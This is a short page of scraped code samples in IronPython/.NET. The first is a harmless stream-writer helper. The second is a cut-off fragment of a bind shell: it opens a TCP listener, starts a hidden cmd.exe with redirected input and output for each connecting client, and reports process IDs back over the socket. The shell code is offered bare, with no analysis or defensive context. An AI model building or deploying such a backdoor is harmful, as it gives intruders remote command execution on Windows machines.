示例#1
0
def GetStreamWriter(stream, autoFlush=True):
    writer = StreamWriter(stream)
    writer.AutoFlush = autoFlush
    return writer
示例#2
0
    else:
        print(outline.Data.Length, outline.Data)
        wtr.WriteLine(outline.Data)


#Connect to listener
server = TcpListener(IP, PORT)
server.Start()

while True:
    client = server.AcceptTcpClient()
    #Create streams for reading/writing
    stream = client.GetStream()
    rdr = StreamReader(stream)
    wtr = StreamWriter(stream)
    wtr.AutoFlush = True
    strInput = StringBuilder()

    #Setup/start process
    p = Process()
    p.StartInfo.FileName = "cmd.exe"
    p.StartInfo.CreateNoWindow = True
    p.StartInfo.UseShellExecute = False
    p.StartInfo.RedirectStandardOutput = True
    p.StartInfo.RedirectStandardInput = True
    p.StartInfo.RedirectStandardError = True
    p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
    p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
    p.Start()
    wtr.WriteLine("SPID: %s\nCPID: %s" %
                  (Process.GetCurrentProcess().Id, p.Id))